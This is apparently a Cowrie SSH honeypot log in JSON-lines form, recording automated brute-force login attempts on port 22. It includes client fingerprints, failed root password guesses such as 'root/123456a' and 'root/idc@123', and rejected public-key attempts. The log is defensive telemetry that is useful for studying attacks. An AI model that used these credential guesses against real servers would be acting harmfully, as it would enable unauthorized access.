{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":57098,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ba6cfee7b7","protocol":"ssh","message":"New connection: 200.108.174.4:57098 (159.203.135.109:22) [session: a7ba6cfee7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:02.004682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:02.012302Z","src_ip":"200.108.174.4","session":"a7ba6cfee7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:02.159896Z","src_ip":"200.108.174.4","session":"a7ba6cfee7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:02.802421Z","src_ip":"200.108.174.4","session":"a7ba6cfee7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:02.865891Z","src_ip":"198.98.62.211","session":"736764fcaa0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":37276,"dst_ip":"159.203.135.109","dst_port":22,"session":"c77faa5f55e2","protocol":"ssh","message":"New connection: 46.165.56.242:37276 (159.203.135.109:22) [session: c77faa5f55e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:03.794339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:03.800655Z","src_ip":"46.165.56.242","session":"c77faa5f55e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:03.953345Z","src_ip":"46.165.56.242","session":"c77faa5f55e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:03.960939Z","src_ip":"200.108.174.4","session":"a7ba6cfee7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88889999","message":"login attempt [root/88889999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:04.588334Z","src_ip":"46.165.56.242","session":"c77faa5f55e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:06.163913Z","src_ip":"46.165.56.242","session":"c77faa5f55e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":38978,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d6197ba8078","protocol":"ssh","message":"New connection: 138.99.80.102:38978 (159.203.135.109:22) [session: 6d6197ba8078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:07.590306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:07.595663Z","src_ip":"138.99.80.102","session":"6d6197ba8078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:07.703229Z","src_ip":"138.99.80.102","session":"6d6197ba8078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:08.164913Z","src_ip":"138.99.80.102","session":"6d6197ba8078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:09.286346Z","src_ip":"138.99.80.102","session":"6d6197ba8078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.199.116","src_port":58194,"dst_ip":"10.17.0.5","dst_port":22,"session":"6642fd8875fc","protocol":"ssh","message":"New connection: 198.46.199.116:58194 (10.17.0.5:22) [session: 6642fd8875fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.783895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.789525Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.818912Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG93Twz76BTYweLdN+cvHWEijP8pIsNZnpujoxSEApRzgSwDWtIKQ/8HRxd+F2j9Bglacw/A2KDvEmkQYPgCgVir16GZdGpg/papPtlLY9iZsJpb+pjhNhabkyOMn2/cVLRcEY6uOPLoPQTodJOwEKFyC8kWV9NG/J76bDHs0KyU9nej1ke2dfr1+bMD8+lBbN9btEQwsrVXFTtE+zgNGju4yN6u58DsawJSiFPOxS3iU3BDnfvqQzjuOBM3vsx17m1ZdYv+TpsT8lqkNmC9BfTWidwPUnU7+e+Eq61YVWcUYvLemvwQLBm85ugvx0RxgCPaecbIC5SruTmUO+cxWx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.925532Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG93Twz76BTYweLdN+cvHWEijP8pIsNZnpujoxSEApRzgSwDWtIKQ/8HRxd+F2j9Bglacw/A2KDvEmkQYPgCgVir16GZdGpg/papPtlLY9iZsJpb+pjhNhabkyOMn2/cVLRcEY6uOPLoPQTodJOwEKFyC8kWV9NG/J76bDHs0KyU9nej1ke2dfr1+bMD8+lBbN9btEQwsrVXFTtE+zgNGju4yN6u58DsawJSiFPOxS3iU3BDnfvqQzjuOBM3vsx17m1ZdYv+TpsT8lqkNmC9BfTWidwPUnU7+e+Eq61YVWcUYvLemvwQLBm85ugvx0RxgCPaecbIC5SruTmUO+cxWx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.930490Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:b3:2f:5b:69:a3:ef:9f:d6:a1:60:00:13:38:91:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB+ifhgvwRRvfaDnTTRcWgZZyOXxURth1brJdFQC8mgl","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fd:b3:2f:5b:69:a3:ef:9f:d6:a1:60:00:13:38:91:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.955897Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:b3:2f:5b:69:a3:ef:9f:d6:a1:60:00:13:38:91:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB+ifhgvwRRvfaDnTTRcWgZZyOXxURth1brJdFQC8mgl","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.960103Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:35:b4:c8:d7:4e:d7:79:0d:2d:82:70:8c:8f:73:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIJCuutdXUZuCl7SjCNBfnWy06VM/FLPT5VYGsH2zrEnbNxch1GRwKJLLdTlvlx/9edlDN60QZelVy15TAc91Q+C8b1tzKJ4wJeHCtCsCOitVuCBHqwzrZXws1KiLvdYORRdjvjzHJbeyZhSOCX1aXTPlJepxaOJ0lRArkxG3ifLQSYFZJ0VRPNz6zQ620uzjYTOPyeNSq9wmPwi7T/m8IlSX6Fd80G7JDk7u9AUct278yPdXhHesLUmr2uaIZLmipjFTr89qenw38IHZ6ZdSPGeZbq2wBwq1dZpj+BpTCkPYnPzYnWmpSTECfow0m14CW7o9bvNGz97CnLViOVDnH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:35:b4:c8:d7:4e:d7:79:0d:2d:82:70:8c:8f:73:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:25.986475Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:35:b4:c8:d7:4e:d7:79:0d:2d:82:70:8c:8f:73:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIJCuutdXUZuCl7SjCNBfnWy06VM/FLPT5VYGsH2zrEnbNxch1GRwKJLLdTlvlx/9edlDN60QZelVy15TAc91Q+C8b1tzKJ4wJeHCtCsCOitVuCBHqwzrZXws1KiLvdYORRdjvjzHJbeyZhSOCX1aXTPlJepxaOJ0lRArkxG3ifLQSYFZJ0VRPNz6zQ620uzjYTOPyeNSq9wmPwi7T/m8IlSX6Fd80G7JDk7u9AUct278yPdXhHesLUmr2uaIZLmipjFTr89qenw38IHZ6ZdSPGeZbq2wBwq1dZpj+BpTCkPYnPzYnWmpSTECfow0m14CW7o9bvNGz97CnLViOVDnH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:26.003748Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:e8:ac:39:40:fe:e3:93:a7:f8:84:39:d7:14:00:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs4A7mqH/touRDmnC1YpffmL/R0swiFVrqTemMqkydiHE/XUP4DMBFOn240sNwFaPNjEicESjbmSCqWDSH33tUwp45kYnKyAf1Muv/1b/ijooI03/8OJXn1W/HdC6+nybjxr+FgAuNeI0gt4T2bZQXoDr6gX9df+C1vvbjHdunbuHZNLjHJ8TpsW1K2ODijwAjCQgms8ObJVfzD+KKmBRZLm89MU0TF4kTD7IIKFUFtJsCy7Fjwp41fO3/DaECxwZdEciNGclKiqy3Bs8zhkRUPuv2ycnEZNe/CIITml18e2o2DDEpCNbgNSeMUFIc3rLGK5OnokNnchj3cRkZXfZwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:e8:ac:39:40:fe:e3:93:a7:f8:84:39:d7:14:00:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:26.032771Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:e8:ac:39:40:fe:e3:93:a7:f8:84:39:d7:14:00:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs4A7mqH/touRDmnC1YpffmL/R0swiFVrqTemMqkydiHE/XUP4DMBFOn240sNwFaPNjEicESjbmSCqWDSH33tUwp45kYnKyAf1Muv/1b/ijooI03/8OJXn1W/HdC6+nybjxr+FgAuNeI0gt4T2bZQXoDr6gX9df+C1vvbjHdunbuHZNLjHJ8TpsW1K2ODijwAjCQgms8ObJVfzD+KKmBRZLm89MU0TF4kTD7IIKFUFtJsCy7Fjwp41fO3/DaECxwZdEciNGclKiqy3Bs8zhkRUPuv2ycnEZNe/CIITml18e2o2DDEpCNbgNSeMUFIc3rLGK5OnokNnchj3cRkZXfZwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:26.037546Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:fc:6d:42:17:50:48:a1:2e:e9:4e:fa:dd:84:cb:20","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM5izbi2RomO7mvVBTdbpuaDZbKhJy0TxRX7ELwIlCvBuUuw/sUSuwTWu7vAH78E+BOPfz7T2mdscgVykfLyjbIoKNhrY80+CmGXjeANxsHIWRKat+v3I4Pz3jMc8Oq27i9gl89bEvc+dSla0MC8dESXstv7J3oKZl1GuKeZYpxlAAAAFQD5GImWyO36K4GV9EBm0FEXiI2n9wAAAIByQRJdMjinEp1yFtMMD/XFgy8SAFcVEJDdp6G2eCT884PXxKNDZ2yr1oPjEY+rUvaDWdxu0xUoqv+akNAoPtoBvbjUF2KDx+PKwG7CULHvU/fpJBoe1ljlBlZXdV/g4q9SEGFEXIDE46uzls+688IritQE1KVxIgwX5scdtOsjbgAAAIEAkYY7r22Zy+wpzEPCXlMXTYITvHiOzxThu+tkuML9TL4+hVCMsJ9rQS9Cy9FDqMHZyqh3qXPqyPxOwJ80U/jqMO1ErtNutJ3iFu4661Br4Y1/jzREgFKeLNayZoLnzDhHGiqXubtK55N2p/FjHQFwqySQ/7jj+UPS1ClULxz3bcY=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c1:fc:6d:42:17:50:48:a1:2e:e9:4e:fa:dd:84:cb:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:26.069783Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:fc:6d:42:17:50:48:a1:2e:e9:4e:fa:dd:84:cb:20","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM5izbi2RomO7mvVBTdbpuaDZbKhJy0TxRX7ELwIlCvBuUuw/sUSuwTWu7vAH78E+BOPfz7T2mdscgVykfLyjbIoKNhrY80+CmGXjeANxsHIWRKat+v3I4Pz3jMc8Oq27i9gl89bEvc+dSla0MC8dESXstv7J3oKZl1GuKeZYpxlAAAAFQD5GImWyO36K4GV9EBm0FEXiI2n9wAAAIByQRJdMjinEp1yFtMMD/XFgy8SAFcVEJDdp6G2eCT884PXxKNDZ2yr1oPjEY+rUvaDWdxu0xUoqv+akNAoPtoBvbjUF2KDx+PKwG7CULHvU/fpJBoe1ljlBlZXdV/g4q9SEGFEXIDE46uzls+688IritQE1KVxIgwX5scdtOsjbgAAAIEAkYY7r22Zy+wpzEPCXlMXTYITvHiOzxThu+tkuML9TL4+hVCMsJ9rQS9Cy9FDqMHZyqh3qXPqyPxOwJ80U/jqMO1ErtNutJ3iFu4661Br4Y1/jzREgFKeLNayZoLnzDhHGiqXubtK55N2p/FjHQFwqySQ/7jj+UPS1ClULxz3bcY=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:26.075486Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:26.103262Z","src_ip":"198.46.199.116","session":"6642fd8875fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":46316,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2c48a5c5808","protocol":"ssh","message":"New connection: 36.95.194.51:46316 (159.203.135.109:22) [session: f2c48a5c5808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:46.610912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:46.616086Z","src_ip":"36.95.194.51","session":"f2c48a5c5808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:46.893508Z","src_ip":"36.95.194.51","session":"f2c48a5c5808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc@123","message":"login attempt [root/idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:48.036693Z","src_ip":"36.95.194.51","session":"f2c48a5c5808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:49.317403Z","src_ip":"36.95.194.51","session":"f2c48a5c5808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":24844,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a152e8ddb67","protocol":"ssh","message":"New connection: 45.123.110.70:24844 (159.203.135.109:22) [session: 3a152e8ddb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:00.732119Z"}
